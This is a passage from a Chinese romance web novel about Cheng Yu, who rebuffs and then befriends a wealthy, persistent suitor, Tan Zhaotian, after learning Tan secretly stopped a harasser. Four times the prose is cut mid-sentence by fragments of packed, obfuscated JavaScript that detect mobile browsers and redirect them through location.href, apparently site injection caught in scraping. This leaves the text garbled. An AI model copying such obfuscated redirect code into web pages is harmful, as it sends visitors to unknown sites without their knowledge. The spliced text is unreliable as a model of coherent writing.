他当然不知道要往哪里开，工地也没有地方由着他开，程郁开到一个看起来像办公室的一排窝棚前，看见了谈兆天的黑色大G，于是把车开了过去，停下，下车。 他刚下车，一道身影从窝棚一角拐了出来，戴着白色安全帽，穿着工装裤，身上是一件已经脏了的白色坎肩背心，露出的肩膀和胳膊都格外紧实，肤色偏暗，很man，也很“土”。 当然，这些都不是程郁这会儿会在意的，因为程郁这会儿胸口全是“气”，生气的“气”。 程郁一看见谈兆天，便径直快步走了过去，手里拿着一个白色信封，神色沉着，有明显的不爽。 走近，程郁直接伸手，把手里厚厚一叠白色信封递到了谈兆天胸前，抵着，塞给男人，只等谈兆天下意识抬手接住，转身便走，边走边回头道：“我会管好我弟弟，不让他随便在学校吃白食。” “也麻烦谈老板不要做这种不必要的事情。” 谈兆天拿着信封，不用看，只凭手感就知道信封里有一沓钱，这个厚度，至少有一万。 谈兆天拿着钱，抬步跟上程郁，神情沉稳，声音低沉：“是我冒犯你了吗。” “我给你道歉。” “不用，没必要。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233805|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >程郁往自己的宝马走，没有回头。 “我没有想惹你不高兴。” 谈兆天追上：“你不喜欢，以后我不那么做了，你把钱收回去吧，一个小孩儿，吃不了这么多钱。” 程郁感觉到了身后谈兆天的靠近和气场，他依旧不转头，脚步更快。 到了车边，他便拉开车门，谈兆天宽大又有些脏的手也按住车门：“我给你道歉。” 程郁这才看向谈兆天，神色沉着，目光有种平静的冷淡：“烦请你以后不要送花送吃的送任何东西去我公司。” “有钱可以捐掉，没必要浪费。” “我也很忙，没有功夫精力陪你玩儿你追我躲的游戏。” “松手。” 谈兆天马上就松开按着车门的手，程郁收回目光，低头上车，车门嘭一声合上，马上启动，开始倒车调头。 谈兆天看着车，看着主驾，无法，只得退开一些，默默目送。 很快，宝马开走了，又开出了工地大门，拐了个弯，消失不见。 路上，程郁开着车，虽然已经“解决”了，但还是越想越不爽。 这件事在程郁这里几乎是越界，也许其他人可以轻松接受，不觉得有什么，可能还觉得谈兆天大方，但程郁就是不爽。 不仅因为程郁对自己的生活工作掌控习惯了，不喜欢这样的“意外”，也因为之前就有人追求程郁的时候，知道程郁在理工院有个弟弟，试图从戎巍这里下手，由此发生了一段过程十分让人无语的经历。 所以知道戎巍在学校可以免费吃食堂，程郁的反应才会这么大。 程郁真的不明白，这些追求者，这么做，难道觉得自己很酷很伟大很了不起吗？ 手是不是伸得太长了？ 程郁怎么想怎么不爽，路上又把谈兆天的号码拉黑了。 他也没心情了吃什么麻辣烫了，方向盘一转，往自己公寓开。 程郁气了至少有四个小时，回公寓后，和张君宁发消息吐槽，才没有那么气了。 张君宁安慰他：【没什么啦，男人追人的小伎俩罢了。】 【他们觉得这样是付出，是追求路上的一种表现，顺便展示他们的雄性魅力。】 程郁：【无语叹气.jpg】 张君宁：【顺毛摸摸.jpg】【没事没事啦，别不开心了，要不要出来喝酒。】 程郁：【只能喝一点，周一还要上班。】 【哪儿？】 张君宁发来定位，是家清吧。 程郁拿了外套和车钥匙，出门。 周一，程郁上班之前还想着到了公司通知前台，让前台以后禁止送花的进来，送来的花最多只能摆在前台，到公司，没有花，下午，也没了送来的下午茶。 一连几天，没有花，没有吃的，没有电话，没有消息。 程郁心知自己在工地说的话谈兆天听进去了。 一面觉得庆幸，一面觉得就该这样，一面又禁不住对谈兆天添好感。 真的，这样的人，没办法对他有不好的印象。 程郁都开始觉得自己之前在工地的反应是不是有些小题大做。 就这样，程郁的生活里彻底没了谈兆天这个人。 12.第 12 章 程郁觉得谈兆天这是和其他追求者一样，放弃了。 想想也知道，他谈老板又承包学校食堂又有酒吧酒店餐厅还开两百万的大G，有钱、高、帅，条件这么好，哪儿找不到相好的，有什么必要在他这棵树上吊死。 程郁觉得追了一个月，差不多了。 何况那天在工地，他态度那么差，是个男人都要面子。 谈兆天说不定现在不但不喜欢他不想再追他，搞不好还很讨厌他，觉得他这样的人不识趣、给脸不要脸——以前就有追求者这么骂过程郁。 程郁的生活继续。 新的一周，程郁陪陆泽深出差去了A市，忙了好几天，周五才回来。 周六，程郁有点想几年前住的老小区对面的那家黄焖鸡，馋了。 他没开车，也没约人，自己一个人了坐了一个半小时的地铁，去吃那家黄焖鸡。 黄焖鸡的店面开了很多年了，周围的铺子开开关关，只有他家一直没变过。 程郁进门，喊：“老板，老板娘，拿份大份的黄焖鸡，不要辣，加青菜。” “好，你坐。” 老板正在收拾前面客人的桌子，闻言转头，看见程郁，惊喜：“是你啊。” 程郁找空位，坐下，笑笑：“好久没来了。” 上次来，还是半年前。 “你不是换去公司旁边住了吗。” 老板娘也认出程郁，客气又熟络地拿一次性杯子倒了杯可乐，递给程郁。 “谢谢。” 程郁接过，解释：“是早搬了，都好几年了。我这不是想你们家黄焖鸡了么，馋的，专门回来吃一顿。” “吃别家的黄焖鸡，总感觉没有你们家的味道好。” 老板和老板娘都笑了。 “你等等啊。” 两人进厨房，去给程郁弄吃的。 程郁喝着可乐，目光扫过店内，前后看看，发现摆设座椅什么的都和几年前他那时候不一样了，但还是一如既往的特别干净。 程郁和厨房里的老板搭腔：“最近生意好吗。” 老板边在厨房忙着边回：“还行吧。” “感觉没有你在的那会儿好了。” “附近的人流少了一些。” 程郁聊着：“拆迁的关系吧。” 程郁最早住的那个小区，已经拆了。 …… 老板和老板娘给了程郁一大份黄焖鸡，比寻常分量都要多，程郁边吃边和他们闲聊。 吃完了，店里不忙，程郁还坐着跟他们聊了会儿。 “走了，拜拜。” 不久，程郁从店里出来。 他没什么事，来都来了，就想附近逛逛。 早些年他刚毕业的时候就住在这附近，合租的房子，住了有两年，他以前对这附近蛮熟悉的。 这两年，这边到处拆到处重建，程郁上次回来还是半年前，只半年，又有了很多变化。 程郁往东走，决定周围逛逛晃晃，反正没事。 结果晃着逛着，离开黄焖鸡的店面后，走了可能才有三五十米，某苍蝇小馆子门口，程郁偶遇了谈兆天—— 一家餐馆儿门口，停了辆五菱面包，面包屁股后面的车门大敞着，里面摞着一箱一箱的一次性碗筷，一个工装裤、白背心的男人正两箱两箱把东西往店里搬。 程郁是从车头的方向走来的，遇见面包车挡在店门口，没路走，就走上了店门口的台阶，预备从店门口穿过去。 正要走过，谈兆天搬着两大箱，从车屁股后走出，和程郁面对面“撞”了个正着。 程郁：“……？” 这都能偶遇！？ 程郁当然惊讶。 要不是谈兆天在搬东西干活儿，他都要怀疑这男人是不是在跟踪自己。 不能又这么巧吧？！ 谈兆天看见他，自然也意外，脚步明显一顿。 但男人没有其他神情，很快从程郁身边走了过去，把箱子搬进了店门口的收银台旁，出来就对程郁道：“好巧。” 又说：“吃过了吗？要不要进来吃饭。” 程郁扫了眼那家苍蝇馆子，自然想，这不会也是谈兆天的生意吧。 他生意可真不少。 “不用了。” 程郁笑笑，走了。 他既没话和谈兆天聊，也没闲情和男人“叙旧”。 以他们的情况，碰见打个招呼就得了。 程郁继续往前走。 谈兆天没追，他站在店门口，默默目送程郁走远了。 不过谈兆天不知道的是，程郁走远一些后，发现谈兆天没追过来，默默的，心里的好感度又添了几分。 他想还得是谈兆天，换别的男人，早跟过来说些有的没的了。 转念一想，想到谈兆天现在或许讨厌他…… 程郁边走边心叹，那他也还是继续添好感，没办法，他就是对这男人印象不错。 走了走了。 程郁继续往前溜达。 哪知一周后的周末，程郁又偶遇了谈兆天—— 这周末正常休息，周日，没和朋友有邀约，程郁独自去了他常去的那家书店。 他喜欢书店的氛围，也喜欢那家书店的咖啡，还特意办了会员。 往常他无聊，就会来这家书店买本书，坐着看到天黑。 这周日也一样，他进店，几个区逛了逛，挑了本没看过的散文。 买完书，他又去买了杯咖啡，端着去了书店留给vip的座位区。 临窗刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238249|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好还有一个空位，程郁看到了，就端着咖啡过去了。 坐下，书打开，程郁塞上无线耳机就开始看书，享受这个惬意的周日下午。 结果看着看着，注意力有些分散了，他抬起头，随意地往窗外看了看，这一瞥，就被他瞥见了谈兆天—— 窗外是马路，路边，一辆面包停着，就停在不远处的书店后门处，车屁股的门大敞着，又是工装裤白背心的男人，把一箱一箱的书从车里搬出来，送进书店后门。 程郁：？？？ 不是，怎么又是他啊！？ 学校一次酒吧一次，都是谈兆天的生意，程郁觉得偶遇也正常。 巧合么。 可继上次在黄焖鸡那条街上偶遇，这周末，怎么又在他常来的书店这儿偶遇了？ 哪儿这么多巧合啊？ 程郁都无语了。 他很想怀疑谈兆天是不是调查过他的日常行踪，不然怎么能次次这么巧。 可这次谈兆天在搬东西干活儿，上周吃黄焖鸡的那次，谈兆天也在干活儿。 这男人总不能是故意挑他在场合专门干活儿给他看的吧？ 程郁当然知道不可能。 所以只能再次将今天当做偶遇。 他看着窗外走来走去搬东西的谈兆天，无语又惊叹地默默挑眉峰。 他想他是不是该去买张彩票啊。 有这个运气，拿来中彩票多好。 所以后来从书店出来，遇见彩票店，程郁真进去买了几张刮刮乐。 结果买了两百块，只中了五十。 哪知隔了一周，这周末，程郁又又又偶遇了谈兆天—— 已经四月了么，天气不错，阳光好，也没那么热，程郁和几个朋友约了去湖边户外。 大家在湖边搭了天幕，天幕下摆好户外的餐桌餐椅，还带了户外的烧烤架和生食，烤烤串，吃吃肉，喝喝饮料，聊聊天，很是惬意。 而这边户外的场地人多，三三两两，全是帐篷，还有一些游乐设施，比如圈了块地可以骑马，彩色铁桶的小火车什么的，玩儿得人不少，尤其是带孩子的家庭。 程郁他们一行人，有个是一家三口，夫妻俩有个五岁的孩子。 小朋友想坐彩色铁桶的小火车，他爸爸就带他去了。 程郁坐在天幕下的户外椅上，不远不近的，看到彩色铁桶的小火车由远及近地开过来。 开近到不远处的柏油小路上，程郁本来是想看看朋友的孩子，结果目光一扫，心里“嗯？”的一声，看向开火车的那个，懵了，眨眨眼——那不是谈兆天吗？ ？？？？ 这都能又又又偶遇？！ 程郁瞪起眼睛，觉得不可思议。 不是，怎么哪儿哪儿都有他啊？！ 13.第 13 章 当晚回公寓，临睡前和张君宁聊微信，程郁和张君宁说了这三周的连续偶遇和巧合，吐槽：【我怀疑他跟踪我，可是我没有证据。捂脸笑哭.jpg】 张君宁：【哎呦，电视剧不都这么演吗。】 【这不就是有缘千里来相会吗。】 程郁：【小猫摔碗.jpg】 【这个运气我送你，我不要。】 张君宁：【可以啊，我喜欢一九一开大G的硬汉e on。】 两人又有的没的地聊了些别的，张君宁可能是突然想起来，说：【对了，那个什么什么金龙，他最近有再骚扰你吗？】 要不提，程郁都快把这人忘记了。 程郁回：【没有了，早不联系了。】 程郁巴不得。 张君宁：【那就好。】 哪知新一周的周三，程郁替陆泽深在CBD这边某大楼的外资投行拿份两家公司的合作文件，顺便替陆泽深给他们投行的MD送份私人物品，刚从MD的办公室出来，就在走廊上偶遇了韩龙金。 韩龙金也做金融的，和外资投行有来往很正常。 程郁遇见了就当不认识，直接目不斜视地从韩龙金身边走了过去。 哪知韩龙金一把伸手抓住了程郁的胳膊，挑挑眉：“装不认识？” 程郁被拉住，不得不抬眼转头，礼貌又疏离道：“韩总，公务场合，您自重。” 韩龙金松了手，手插兜，笑看程郁，说：“你还真是一点儿不把我放眼里啊。” 程郁正经神色：“韩总有事吗？没事的话，我就走了。” 说着就要走。 韩龙金却再次伸手，按了程郁的肩膀。 程郁转头，这时候有些不高兴了，只是没流露出来。 韩龙金收回手，继续插兜，却审视地上下打量了眼程郁，戴着探究地说：“你攀上哪儿的高枝了？” 程郁面对男人，继续正色脸：“韩总，有话不如说明白些。” 换韩龙金听不懂了，挑挑眉：“你在跟我装傻？” 程郁神色沉稳淡定：“您明说。” 韩龙金的神情依旧带着些审视和探究，缓缓点头：“行啊，你要明说就明说。” 跟着道：“我是搞不明白了，我追你，有什么问题吗？” 没…… 程郁欲要开口。 韩龙金下一句：“你竟然找人警告我？” ？ 程郁没懂。 程郁看着韩龙金，流露了些许不解：“我？找人？警告你？” “不是吗？” 韩龙金：“证券监管委的许局亲自和我打招呼，让我没事儿别找你麻烦。” 程郁听得一顿，默默消化，同时飞快地转着脑子。 韩龙金觉得程郁在和他装无辜，语气里带着讽刺：“你攀上哪个高枝了，能让人家许局来帮你打这个招呼？” 哼：“我现在哪儿敢动你啊。” 又说：“你老板都没这个能耐吧。” “他一个新加坡华人，政府关系里的弯弯绕绕都搞不清楚，能帮你打点？” 韩龙金是真的好奇，也是真的有点恼程郁，当面的话就有些说得难听：“爬哪个大佬的床了？” 程郁这下彻底没耐心了，冷眼和韩龙金对视，一个字都懒得说，转身离开。 但有关韩龙金说的，程郁默默记在了心里。 他琢磨了下，觉得能让韩龙金这样的人在公务场合说出“爬床”这样难听的话，可见韩龙金说的，十有八九是真的。 程郁也才知道原来韩龙金后来没再骚扰他，内里有这样一层关系。 程郁自然想，谁帮了他？圈子里哪个朋友吗？ 可这种事，如果帮了，也没什么不能跟他本人说的，为什么他会从头到尾都不知道？ 何况韩龙金纠缠他这件事，他没声张过，他身边知道的人应该不多，谁会一声不响地主动帮他？ 程郁第一个想到的就是陆泽深，于是程郁当天下班前便进办公室，委婉地问陆泽深，说自己前段时间遇到点事情，是不是陆泽深帮他去证券监委会那边打点了关系。 陆泽深不解，反问：“你遇到了什么事，需要人帮你去证券监委会打招呼？” 好的，不是陆泽深。 程郁懂了。 晚上，程郁下班回公寓，微信上问了几个关系不错的朋友，也问了张君宁，说自己遇到点事，但有人帮忙解决了，问是不是他们，几人都否认了，张君宁回：【？】 【不是我啊。】 【怎么了啊？】 程郁和张君宁说了，张君宁回：【卧槽，活雷锋啊，办好事儿不留名。】 又说：【证券监委会啊那可是，还是局长亲自打招呼，牛逼了，这关系够硬。】 程郁翻了翻自己的微信好友列表，又陆续问了一些人，但都被否认了。 程郁当晚便发了条分组可见的朋友圈，公开问了下，但可惜，还是没人承认。 前后好几天，程郁都在边上班边想办法打听，他关系网还可以，圈子内外认识的人也多，想着多问问，总能问出来，觉得自己被帮了，总该是认识的或者关系网之内的人做的，不然也不可能帮他。 然而始终打听不到到底是谁。 这日，程郁找了自己认识的证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243526|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 监委的一个小领导，请对方帮忙，想给他们单位那位许局身边的秘书带句话，为此，程郁还塞了些“好处”。 等了好几天，程郁等到了回复，秘书托人带话，问他想打听什么，程郁这才提了韩龙金和部分事情的原委。 又等了几天，中间人转来秘书的话，就几个字，说：“你是不是认识谈老板。” 程郁是收到的微信，看见这个“谈”字，一下就愣住了。 双火谈，并不是常见姓氏，他认识的知道的人里，只有一个人姓这个。 程郁起初还有点不信，问对方：【确定是双火的这个谈？】 中间人：【确定。领导就是这么说的。】 程郁：【好，我知道了，这次麻烦你了。】 程郁默了。 他脑子飞速运转，自然马上想到他和谈兆天认识的那天，沙龙晚宴上，他拉了谈兆天帮忙挡韩龙金的视线。 难道就是那天之后，谈兆天帮了忙？ 还默默悄悄地帮了，没有吭声？ 不吭声。 这还真符合程郁对谈兆天的“刻板印象”。 是他啊。 程郁不能百分百确认，但也差不多相信就是谈兆天了。 程郁这下彻底默了。 他想起自己那天在工地对谈兆天的态度。 好吧。 程郁马上心软了。 其实想想，谈兆天给戎巍免餐费，根本没借此做什么，也始终没吭过声，就像他帮自己摆平韩龙金，也同样一声没吭。 这下好了，程郁心里一边刷新对谈兆天的好感度，一边默默心软的内疚，觉得自己之前删掉谈兆天的微信很无情，在工地对谈兆天那个态度也很恶劣。 程郁边上班边默默在心里长长地吐了一口气。 他这时正坐在迈巴赫副驾，随陆泽深一起回公司。 默了默，想了想，程郁在车厢里嘀咕了句：“亡羊补牢有用吗？” 司机没吭声，后排的陆泽深以为程郁问自己，“嗯”了声，沉稳道：“比什么都不做好。” 对。 没错。 程郁认可。 因此当晚下班，坐进自己的宝马里，程郁便翻着自己的电话黑名单，把谈兆天的号码从黑名单里拖了出来。 看着手机，看着号码，程郁没多犹豫，先发过去：【是你帮我摆平的韩龙金？是吗？】 发送。 程郁靠着主驾椅背，耐心地等。 几分钟后，手机响了，是谈兆天拨来了电话。 程郁接起：“喂。” 手机那头传来男人低沉的声音：“吃过了吗？” 14.第 14 章 平目路，程郁把车在路边的收费停车位停好，下来，合上车门，看见了不远处的自助烤肉店。 他已经知道确实是谈兆天帮他摆平的韩龙金，刚刚的电话里，男人承认了。 程郁走向烤肉店。 店里人不少，挺热闹的，自助拿窜的人走来走去，靠窗的位子，程郁看见了谈兆天。 程郁和迎过来招呼他没有位子需要排队等号的服务员打招呼，指了指谈兆天那儿：“我有位子。” 程郁走过去，看见谈兆天已经在烤肉串了，桌上还摆了没烤的肉串，以及几碟调料。 男人今天还是工装裤、工字白背心，露着肌肉紧实的肩头和臂膀，肤色偏暗，人高马大地坐在不大的四人座桌边，垂着眸没有表情地烤肉，一条腿支在旁边一张木凳的横撑上，大咧的样子，看起来就像个混社会的大哥。 程郁走近，谈兆天抬起目光，看见了他，马上收回了踩在木凳横撑上的那条腿，坐好。 程郁留意到了，在男人对面坐下的时候爽朗地说了句：“没事儿，你跷，我不介意。” 坐下，程郁马上就抬起两臂，双手合十，和男人打招呼：“对不起，上次在工地，是我态度不好，我给你道歉。” 说着又拿起桌边已经开的那瓶啤酒，拆了自己面前的一次性碗筷，拿出杯子，倒上啤酒，说：“也谢谢你不留姓名悄悄帮我。” 说着举杯，向男人示意了下，接着便凑杯到唇边，仰头一饮而尽，十分干脆爽快。 谈兆天看得默默挑了挑眉峰。 一饮而尽的程郁又示意了下喝空的酒杯，显然很懂“江湖规矩”。 谈兆天手肘支桌沿：“你今天没开车？” “开了。” 程郁伸手去拿盘子里生的肉串，也拿到面前的网架上一起烤：“没事，等会儿叫代驾。” 谈兆天这时把烤好的肉串递给程郁，程郁伸手接过，两人之间自然相处的样子，不知道的还以为他们是朋友。 本来么，谈兆天不扭捏，程郁也是个大大方方的人。 程郁吃着烤串，抬抬眼，说：“要不是前两天我遇到韩龙金，他打听我有什么关系，我还真不知道你帮了我。” “你做好事都不留名啊？” “我还以为是我朋友帮我的，周围问了好几圈。” “没必要。” 谈兆天烤着肉，话还是那么少。 程郁边吃边道：“对了，你手机号码我存了。微信我也加回来了。” 程郁主动示好：“我觉得我们可以交个朋友。” 谈兆天眼皮子马上一跳，撩起目光。 嗯？ 程郁见谈兆天默默看自己，又主动问：“不行吗。” “你现在是不是讨厌我了？” 他有些看不出来男人的态度，没有表情，没有流露，冷冷的，酷酷的。 程郁琢磨经过之前，谈兆天应该是讨厌他了。 “没有。” 谈兆天否认，又递给程郁一窜肉。 程郁接过：“回头我请你吃饭吧。给你赔罪。” 又爽朗道：“我觉得你这人挺好的，很适合做朋友。我蛮喜欢你的。” 谈兆天听到这句“喜欢”，暗自的，眼皮又是一跳。 程郁吃着肉：“行吗？表个态啊。” “要是行，我们交个朋友。” “回头我就把你微信加星，你什么时候找我都行。” 谈兆天烤着肉：“不交朋友。” “我还在追你。” 程郁：“……？” 程郁是真的意外，他当谈兆天早讨厌他了，没有就算了，这个“还在追”…… 啊？ 程郁看着谈兆天，面露惊讶，顿了顿，说：“你不是不送花，也不给我发消息了吗？” 谈兆天解释：“你不喜欢，我就不送了。” ？ 程郁疑问脸：“没结束吗？” “没有。” 谈兆天否认，又递上烤好的肉串：“我只是还在想要怎么追。” 程郁：“……” 程郁没想到事实竟然是这样的。 他觉得谈兆天的脾气和耐心真好，未免太好了。 程郁继续吃着烤肉，聊着，说：“我电话不接，消息不回，收到任何东西通通都扔，回应一概没有，上次工地还那个态度，你这都能忍？” “没有忍。” 谈兆天淡定的，说：“你不回应我，是你的自由。” 程郁：“工地那次，你没觉得我这人脾气差、态度还不好？” 谈兆天：“没有。” 程郁：“一点都没有？” 谈兆天：“没有。” 神了。 程郁心想。 程郁开口：“你脾气真好。” 谈兆天没说什么，继续给程郁递肉串。 程郁一直在吃，吃着吃着伸腿，大咧地踩在了桌边的那把椅子的横撑上，说：“何必呢，有什么好追的，我这人除了脸，除了工作还可以，其他都普普通通，特别寻常。” “你那么有钱，什么喜欢的找不到。” 谈兆天边烤肉边听程郁说。 程郁：“我不是谦虚，我说的实话。” “你继续追我，纯粹就是浪费时间。” “交朋友多好，聊天，出来玩儿，聚餐，什么都能做。” “我一个单身主义，何必在我身上瞎折腾。” 程郁一口一个交朋友。 因为他来的路上就决定了。 谈兆天人不错，他要主动交这个朋友。 现在知道谈兆天还要继续追他，他自然诚心诚意地劝。 谈兆天听完，开口道：“做不了普通朋友。” 程郁看着他，心里叹气。 程郁转而问：“你喜欢我什么？” 谈兆天看了看程郁，还是那么言简意赅：“都喜欢。” 程郁说：“那是因为你不了解我。” 谈兆天沉稳的：“喜欢就是喜欢。” 言下之意，不是非要了解清楚才能喜欢。 唉…… 程郁又心叹，开口说：“劝不动是吧，非得撞南墙。” “我一个单身主义，好好的，非得耗我身上。” 谈兆天这时道：“以后给你发消息，你会回，是吗。” 程郁吃着烤肉，点头。 谈兆天垂眸烤肉，兀自吊了下唇角。 程郁看见，都不知道他乐什么。 谈兆天又道：“约你，你会出来吗？” 程郁又点头。 谈兆天又吊了下唇角。 程郁解释：“我回你消息，是因为我当你是朋友。” “你约我，我出来，也是因为我当你是朋友。” “如果你抱着别的希望，你最后一定会失望。” 程郁依旧和他有言在先。 “我知道。” 谈兆天应声。 男人明明没什么表情上的流露，还是那张硬汉脸，还是那副社会哥的硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250205|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朗气场，但看上去，心情明显好了。 跟着，谈兆天话多了些，主动问程郁：“你不喜欢花？” “当然不是啊。” 程郁解释：“我只是不收所有追求者送的花。” “喜欢吃什么？” 谈兆天又问。 程郁吃着串儿：“都行，我基本不挑。不过我吃不了辣。” 谈兆天看出来了，程郁吃烤肉沾干碟粉就不碰辣的。 程郁这时候突然想起什么，道：“那天遇到，就一个月前，祈南路老街那儿，那店是你的？” “中环的玫瑰书店不会也是你的吧？” “还有须亭湖那儿的草坪的游乐场，开小火车那些生意，都你的啊？” 谈兆天：“差不多。” 问：“遇到我了？” “是啊。” 程郁回：“一次两次三次，我都惊了，也太巧了吧。” 谈兆天不知在想什么，又吊了吊唇角，这次是个明显的笑意。 不远处，有个中等身材的男人举着手机对着程郁这桌偷偷拍照，拍完马上转身，把照片发到【狗肉兄弟一辈子】的小弟群里，跟着说：【号外！号外！天哥在我这儿！和一个超级大帅哥吃饭！】 【这是之前你们说的那个吗？】 【你特么近点拍啊，你拍天哥干嘛，你拍那个大帅哥啊！】 【卧槽，我天哥吃饭这么老实么，旁边明明有椅子，他今天竟然腿都没跷。】 【他特么这是在笑？！艹，我信了，他真的发情了。】 …… 当晚吃完，走出烤肉店，谈兆天送程郁走到车边，程郁已经叫了代驾，正在等。 两人随便聊着，依旧是程郁主动开启话题，谈兆天跟着话题聊。 聊着聊着，程郁问谈兆天：“你多大啊？” 谈兆天：“29。” 程郁：“哦，比我大。” 程郁跟着说：“你真不考虑换个人追啊？” 谈兆天：“不考虑。” 行吧。 程郁表态：“我再次申明，我可不承诺你能追到。而且提醒你，你追不到的概率高达99.999%。” “能趁早放弃就趁早放弃。” 又说：“不然我给你介绍男朋友吧？” “保证长得帅，对感情专一，工作也不错。” “这样的我认识不少。” 谈兆天：“不用。我就追你。” 程郁：“你准备怎么追啊？送花聊天约会，这些太常规了，你就算追别人，这样追，也未必……” 两人站在一起，边聊边等代驾。 刚刚的烤肉店门口，之前偷拍照片的男人再次举起手机，对着路边的两人一通猛拍。 有个年轻女服务员跑过来，一脸八卦：“松哥，那谁啊，天哥的男朋友？也太帅了吧！” “我就没见过这么帅的！” “去去，上你的班。” 男人还举着手机，拿屁股拱她。 不久，代驾到了，把电瓶车叠起来，放进宝马后备箱，坐进主驾。 程郁坐去后排，落下车窗，和窗外路边的谈兆天挥挥手：“拜拜。” 宝马开走了，谈兆天目送，唇角吊起，眼里全是笑意。 程郁到家的时候，刚推门，手机震了震。 他拿起来，看见谈兆天给他发：【到家了？】 程郁回复：【到了，刚到。】 又下意识主动打开话匣，问：【你回家了吗？】 15.第 15 章 【所以，你把他号码和微信都加回来了，并且决定以后都理他，顺便尽可能地交这个朋友，无论之后他怎么追你？】 次日，早，公司工位，程郁趁空摸了个鱼，和找他聊天的张君宁说了谈兆天帮他，以及最新的和谈兆天之间的发展。 程郁：【对。】 张君宁：【大拇指牛逼.jpg】 【开两百万大G，轻松帮你找关系摆平事情，还就是喜欢你要追你，我怎么就遇不到这种男人呢。】 张君宁：【早知道那天少喝点，至少看看那男的长什么样了。】 程郁：【你那天要是没醉，我们一起走去附近酒店，就没有后面的事情了。】 张君宁：【卧槽，原来你们缘分的开始是因为我啊。】 【我牛逼。】 张君宁：【你这还是第一次搭理追你的人吧？】 程郁：【是啊。】 张君宁：【可惜了，你是个坚定的单身主义。】 【不如回头把这个男人介绍给我？】 【猥琐老狗挑眉头.jpg】 程郁：【你想的话，可以啊。】 张君宁：【嘻嘻，我开玩笑的。我不要。我要看他什么时候能追到你。】 【我有种预感，这个男人不一般。】 【搞不好真能撬动你这根单身主义的铁棍。】 程郁：【怎么可能，做梦比较快。】 张君宁：【也许呢。】 【赌不赌？】 程郁：【你必输。】 张君宁：【十万。怎么样？】 程郁：【说了，你必输，主动权在我手里。】 张君宁：【爱情这种东西，可不是你想视而不见就能挡住的。】 【说不定他真的是你的真命天子呢。】 程郁：【你把十万准备好吧。】 张君宁：【没问题，我就跟你赌这个。】 【如果你能遇到真爱，我愿意输掉这十万。】 程郁看着电脑默默好笑。 什么真爱，当然不存在。 程郁很自信，知道自己绝对不会动摇。 中午前，程郁正在工位签文件，谈兆天发来消息：【我还是想送你花。】 程郁看见了，胳膊下面压着文件，拿起手机，回：【可以啊。】 谈兆天：【不扔？】 程郁：【不扔，我摆在工位边上。】 【友情提醒啊，你送再多花，我就算不扔，全摆着看，最后我们最多还只是朋友。】 谈兆天没说别的，回：【我让人送花过来。】 程郁：【OK。】 程郁真的以为，谈兆天等会儿让人送来的花，无非就是之前送的那些好看的鲜花，然而—— 跑腿小哥抱着他的箱子进来了，在办公室问谁是程郁，程郁举手示意他：“这儿。” 小哥过去，弯腰，先把他的大外卖箱搁到了地上，程郁的工位旁。 程郁低头，奇怪：“花横着放箱子里，会……” 小哥拿出了一大束RMB花，全粉色。 你以为单张的粉票子一张张半卷，当做一支支花束？ NO。 一沓一万的纸钞用一支签子插着，一束就有数不清的签子和钱，整整一大捧！ 小哥刚拿出来的时候，程郁看到，直接惊了。 小哥递给程郁，程郁缓缓接过，周围的看清花束的同事见了，也全惊了，进而沸了！ “卧槽！？” “我的天！！！” 周围全是惊呼。 同事们马上围过来，有人仔细盯着看，有人开始数有多少一万，有人拿出手机拍照。 程郁抱着花，低头，懵了。 不是。 不是？！ 谁这么送花的啊！？ 谈！兆！天！ “这里至少有五十万吧？！” “难怪人家小哥要放箱子里。” “我的天呀~！这谁啊，哪个大老板啊，这么阔气！” …… 程郁已经一手抱花一手拿起了桌上的手机，起身。 他越过围着的同事，边抱着花走去外面长廊，边拨通了谈兆天的号码。 嘟——嘟—— 程郁单手抱着花站在走廊窗前，很快，电话通了，程郁马上开口惊愕道：“大哥！你想吓死我吗？” “这花我怎么收？我摆哪儿？你快拿回去啊！” 谈兆天声音淡定：“把花拆了，拿去花。” 程郁惊恐的：“花什么花？谁像你这么送花的？你还不如送我普通花。” “赶紧的，拿回去。” 想到什么，说：“你不找人来拿，我晚上也要给你送回去。” “哪有这样送花的。” 